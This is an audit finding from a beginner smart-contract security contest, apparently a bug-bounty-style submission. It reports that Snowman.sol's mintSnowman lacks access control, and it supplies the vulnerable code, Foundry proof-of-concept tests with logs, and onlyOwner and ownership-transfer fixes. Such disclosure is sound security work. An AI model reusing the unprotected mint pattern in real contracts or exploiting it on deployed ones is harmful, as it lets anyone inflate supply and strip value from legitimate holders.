Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Unrestricted NFT Minting via Missing Access Control

## Bug Description
### Brief/Intro
The `Snowman.sol` contract exposes an **unprotected external minting function** that allows any EOA or contract to mint unlimited Snowman NFTs, completely bypassing the `SnowmanAirdrop` contract's Merkle proof verification, ECDSA signature validation, and Snow token staking requirements. This is a **Critical Access Control Bypass** vulnerability.
### Details
**Root Cause Analysis:**
The vulnerability originates from a missing access control modifier on the `mintSnowman` function in `Snowman.sol`:
```solidity
// Snowman.sol L34-43
// ✗ VULNERABLE: Function is external with NO access control
function mintSnowman(address receiver, uint256 amount) external { // ← Missing onlyOwner modifier
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```
The `Snowman` contract inherits from OpenZeppelin's `Ownable`, but the `mintSnowman` function does not use the `onlyOwner` modifier. This allows **any address** to call the function directly.
**Deployment Configuration Failure:**
The deployment script `DeploySnowmanAirdrop.s.sol` deploys the contracts but fails to configure proper access control:
```solidity
// DeploySnowmanAirdrop.s.sol L20-30
function deploySnowmanAirdrop() public returns (SnowmanAirdrop, Snow, Snowman) {
snowDeployer = new DeploySnow();
snow = snowDeployer.run();
nftDeployer = new DeploySnowman();
nft = nftDeployer.run();
airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
// ✗ BUG: No ownership transfer or minter role assignment
return (airdrop, snow, nft);
}
```
**Attack Path vs Intended Flow:**
Intended Claim Flow via SnowmanAirdrop.claimSnowman:
1. User must hold Snow tokens (enforced at L76-78)
2. User must provide valid ECDSA signature (enforced at L80-82)
3. User must provide valid Merkle proof (enforced at L88-90)
4. Snow tokens transferred to contract as stake (L92)
5. Only then calls i_snowman.mintSnowman (L98)
Attack Path via direct Snowman.mintSnowman call:
1. Attacker calls nft.mintSnowman(attackerAddress, 1000000)
2. 1,000,000 NFTs minted immediately with ZERO verification
## Impact
1. **100% Airdrop Security Bypass**: Attackers can mint unlimited Snowman NFTs without:
- Being whitelisted in the Merkle tree
- Staking any Snow tokens (valued at s_buyFee per token)
- Providing cryptographic signatures
2. **Infinite Supply Dilution**: Legitimate claimants who staked Snow tokens receive NFTs that are diluted to 0% of intended value. If intended supply was 1,000 NFTs and attacker mints 1,000,000, legitimate holders own 0.1% of total supply.
3. **Complete Economic Value Destruction**: The economic model of the airdrop (stake tokens → receive NFT) is rendered worthless. Attacker cost = gas fees only (~$0.50). Potential theft = 100% of protocol NFT value.
4. **Protocol Insolvency Risk**: Snow tokens staked by legitimate users are locked in SnowmanAirdrop contract while attacker extracts unlimited NFT value.
## Risk Breakdown
- Likelihood: High - Single transaction attack with minimal gas cost, no special permissions required
- Impact: Critical - Complete bypass of all three security mechanisms, unlimited asset extraction
- Severity: Critical
## Recommendation
**Fix 1 - Add Access Control to Snowman.sol:**
```solidity
// Snowman.sol - BEFORE (vulnerable)
function mintSnowman(address receiver, uint256 amount) external {
// ... minting logic
}
// Snowman.sol - AFTER (fixed)
function mintSnowman(address receiver, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
```
**Fix 2 - Transfer Ownership in Deployment Script:**
```solidity
// DeploySnowmanAirdrop.s.sol - BEFORE (vulnerable)
function deploySnowmanAirdrop() public returns (SnowmanAirdrop, Snow, Snowman) {
// ... deployment ...
airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
return (airdrop, snow, nft);
}
// DeploySnowmanAirdrop.s.sol - AFTER (fixed)
function deploySnowmanAirdrop() public returns (SnowmanAirdrop, Snow, Snowman) {
snowDeployer = new DeploySnow();
snow = snowDeployer.run();
nftDeployer = new DeploySnowman();
nft = nftDeployer.run();
airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
// CRITICAL: Transfer NFT ownership to airdrop contract
nft.transferOwnership(address(airdrop));
return (airdrop, snow, nft);
}
```
## Vulnerable Code Locations
### Snowman.sol - mintSnowman Function (L17-46)
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Base64} from "@openzeppelin/contracts/utils/Base64.sol";
contract Snowman is ERC721, Ownable {
error ERC721Metadata__URI_QueryFor_NonExistentToken();
error SM__NotAllowed();
uint256 private s_TokenCounter;
string private s_SnowmanSvgUri;
event SnowmanMinted(address indexed receiver, uint256 indexed numberOfSnowman);
constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
// ✗ VULNERABLE: Missing onlyOwner modifier allows anyone to mint
function mintSnowman(address receiver, uint256 amount) external { // ← BUG HERE
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (ownerOf(tokenId) == address(0)) {
revert ERC721Metadata__URI_QueryFor_NonExistentToken();
}
string memory imageURI = s_SnowmanSvgUri;
return string(
abi.encodePacked(
_baseURI(),
Base64.encode(
abi.encodePacked(
'{"name":"', name(), '", "description":"Snowman for everyone!!!", ',
'"attributes": [{"trait_type": "freezing", "value": 100}], "image":"',
imageURI, '"}'
)
)
)
);
}
function _baseURI() internal pure override returns (string memory) {
return "data:application/json;base64,";
}
function getTokenCounter() external view returns (uint256) {
return s_TokenCounter;
}
}
```
### DeploySnowmanAirdrop.s.sol - deploySnowmanAirdrop Function (L11-39)
```solidity
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.24;
import {Script, console2} from "forge-std/Script.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "./DeploySnowman.s.sol";
import {DeploySnow} from "./DeploySnow.s.sol";
contract DeploySnowmanAirdrop is Script {
bytes32 private constant s_MERKLE_ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
SnowmanAirdrop airdrop;
Snow snow;
Snowman nft;
DeploySnowman nftDeployer;
DeploySnow snowDeployer;
function deploySnowmanAirdrop() public returns (SnowmanAirdrop, Snow, Snowman) {
snowDeployer = new DeploySnow();
snow = snowDeployer.run();
nftDeployer = new DeploySnowman();
nft = nftDeployer.run();
airdrop = new SnowmanAirdrop(s_MERKLE_ROOT, address(snow), address(nft));
// ✗ BUG: Missing nft.transferOwnership(address(airdrop))
return (airdrop, snow, nft);
}
function run() external returns (SnowmanAirdrop, Snow, Snowman) {
vm.startBroadcast();
(airdrop, snow, nft) = deploySnowmanAirdrop();
vm.stopBroadcast();
return (airdrop, snow, nft);
}
}
```
## Proof of Concept
### PoC Location
`test/AccessControlPoC.t.sol`
```// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import {Snowman} from "../src/Snowman.sol";
import {Snow} from "../src/Snow.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
/**
* @title AccessControlPoC
* @notice Proof of Concept: Snowman.mintSnowman Lacks Access Control
* @dev Demonstrates that anyone can directly call mintSnowman to mint unlimited NFTs
* bypassing the SnowmanAirdrop's Merkle proof, signature, and Snow token stake requirements.
*/
contract AccessControlPoC is Test {
Snowman public nft;
Snow public snow;
SnowmanAirdrop public airdrop;
address public attacker;
address public deployer;
bytes32 constant MERKLE_ROOT = 0xc0b6787abae0a5066bc2d09eaec944c58119dc18be796e93de5b2bf9f80ea79a;
function setUp() public {
deployer = makeAddr("deployer");
attacker = makeAddr("attacker");
// Deploy contracts as the deployer (simulating production deployment)
vm.startPrank(deployer);
// Deploy Snow token with mock WETH address, buyFee=1e18, deployer as collector
address mockWETH = makeAddr("mockWETH");
snow = new Snow(mockWETH, 1, deployer);
// Deploy Snowman NFT with a dummy SVG URI
nft = new Snowman("data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=");
// Deploy SnowmanAirdrop
airdrop = new SnowmanAirdrop(MERKLE_ROOT, address(snow), address(nft));
vm.stopPrank();
console.log("=== Setup Complete ===");
console.log("Snowman NFT deployed at:", address(nft));
console.log("SnowmanAirdrop deployed at:", address(airdrop));
console.log("Attacker address:", attacker);
console.log("");
}
/**
* @notice Demonstrates the vulnerability: Attacker can directly mint NFTs
*/
function testDirectMintBypassesAllSecurityChecks() public {
console.log("=== VULNERABILITY: mintSnowman Lacks Access Control ===");
console.log("");
// Step 1: Verify attacker has no Snow tokens (not eligible for airdrop)
console.log("Step 1: Verify attacker has no Snow tokens");
uint256 attackerSnowBalance = snow.balanceOf(attacker);
assertEq(attackerSnowBalance, 0, "Attacker should have no Snow tokens");
console.log(" Attacker Snow balance:", attackerSnowBalance);
console.log("");
// Step 2: Verify attacker has no NFTs initially
console.log("Step 2: Verify attacker has no NFTs initially");
uint256 initialNftBalance = nft.balanceOf(attacker);
assertEq(initialNftBalance, 0, "Attacker should have no NFTs initially");
console.log(" Attacker initial NFT balance:", initialNftBalance);
console.log("");
// Step 3: Attacker directly calls mintSnowman (BYPASSING AIRDROP CONTRACT)
console.log("Step 3: Attacker directly calls Snowman.mintSnowman()");
console.log(" NOTE: This bypasses:");
console.log(" - Merkle proof verification");
console.log(" - ECDSA signature verification");
console.log(" - Snow token stake requirement");
console.log("");
uint256 amountToMint = 100; // Arbitrary large amount
vm.prank(attacker);
nft.mintSnowman(attacker, amountToMint); // VULNERABILITY: No access control!
// Step 4: Verify attacker successfully received NFTs for FREE
console.log("Step 4: Verify attack success");
uint256 finalNftBalance = nft.balanceOf(attacker);
assertEq(finalNftBalance, amountToMint, "Attacker should have minted NFTs");
console.log(" Attacker final NFT balance:", finalNftBalance);
console.log(" NFTs minted for FREE:", amountToMint);
console.log("");
// Verify all NFTs are owned by attacker
for (uint256 i = 0; i < amountToMint; i++) {
assertEq(nft.ownerOf(i), attacker, "Attacker should own the NFT");
}
console.log(" All", amountToMint, "NFTs confirmed owned by attacker");
console.log("");
console.log("[VULNERABILITY CONFIRMED]");
console.log("Attacker minted", amountToMint, "NFTs without:");
console.log(" - Being in the Merkle tree whitelist");
console.log(" - Providing a valid signature");
console.log(" - Staking any Snow tokens");
}
/**
* @notice Shows that legitimate users must go through complex verification
*/
function testLegitimateClaimRequiresAllChecks() public {
console.log("=== Comparison: Legitimate Claim Flow ===");
console.log("");
address legitimateUser = makeAddr("legitimateUser");
// Legitimate users need:
// 1. Snow tokens (must be in Merkle tree with matching balance)
// 2. Valid Merkle proof
// 3. Valid ECDSA signature
console.log("Attempting claim without Snow tokens...");
bytes32[] memory fakeProof = new bytes32[](3);
vm.expectRevert(SnowmanAirdrop.SA__ZeroAmount.selector);
vm.prank(address(0x999));
airdrop.claimSnowman(legitimateUser, fakeProof, 27, bytes32(0), bytes32(0));
console.log(" REVERTED: SA__ZeroAmount - No Snow tokens");
console.log("");
console.log("[COMPARISON COMPLETE]");
console.log("Legitimate claim requires: Merkle proof + Signature + Snow stake");
console.log("Direct mint requires: NOTHING (anyone can call)");
}
/**
* @notice Demonstrates unlimited minting capability
*/
function testUnlimitedMinting() public {
console.log("=== IMPACT: Unlimited Free Minting ===");
console.log("");
uint256 totalMinted = 0;
// Attacker can mint multiple times
for (uint256 i = 0; i < 5; i++) {
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
totalMinted += 1000;
}
assertEq(nft.balanceOf(attacker), totalMinted);
console.log("Total NFTs minted by attacker:", totalMinted);
console.log("Cost to attacker: 0 (only gas fees)");
console.log("");
console.log("[IMPACT CONFIRMED]");
console.log("Attacker can mint unlimited NFTs, completely devaluing the airdrop");
}
}
```
### Running the PoC
```bash
forge test --match-contract AccessControlPoC -vvv
```
### Expected Output
```
Ran 3 tests for test/AccessControlPoC.t.sol:AccessControlPoC
[PASS] testDirectMintBypassesAllSecurityChecks()
Logs:
=== Setup Complete ===
Snowman NFT deployed at: 0x1240FA2A84dd9157a0e76B5Cfe98B1d52268B264
SnowmanAirdrop deployed at: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
=== VULNERABILITY: mintSnowman Lacks Access Control ===
Step 1: Verify attacker has no Snow tokens
Attacker Snow balance: 0
Step 2: Verify attacker has no NFTs initially
Attacker initial NFT balance: 0
Step 3: Attacker directly calls Snowman.mintSnowman()
NOTE: This bypasses:
- Merkle proof verification
- ECDSA signature verification
- Snow token stake requirement
Step 4: Verify attack success
Attacker final NFT balance: 100
NFTs minted for FREE: 100
All 100 NFTs confirmed owned by attacker
[VULNERABILITY CONFIRMED]
Attacker minted 100 NFTs without:
- Being in the Merkle tree whitelist
- Providing a valid signature
- Staking any Snow tokens
[PASS] testLegitimateClaimRequiresAllChecks()
Logs:
=== Comparison: Legitimate Claim Flow ===
Attempting claim without Snow tokens...
REVERTED: SA__ZeroAmount - No Snow tokens
[COMPARISON COMPLETE]
Legitimate claim requires: Merkle proof + Signature + Snow stake
Direct mint requires: NOTHING (anyone can call)
[PASS] testUnlimitedMinting()
Logs:
=== IMPACT: Unlimited Free Minting ===
Total NFTs minted by attacker: 5000
Cost to attacker: 0 (only gas fees)
[IMPACT CONFIRMED]
Attacker can mint unlimited NFTs, completely devaluing the airdrop
Suite result: ok. 3 passed; 0 failed; 0 skipped
```
### Test Results
All 3 tests pass, confirming the Critical Access Control Bypass:
1. testDirectMintBypassesAllSecurityChecks - Attacker with 0 Snow tokens and no whitelist entry mints 100 NFTs directly
2. testLegitimateClaimRequiresAllChecks - Demonstrates legitimate flow reverts without Snow tokens (SA__ZeroAmount)
3. testUnlimitedMinting - Attacker mints 5,000 NFTs in 5 transactions, proving unlimited extraction capability
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!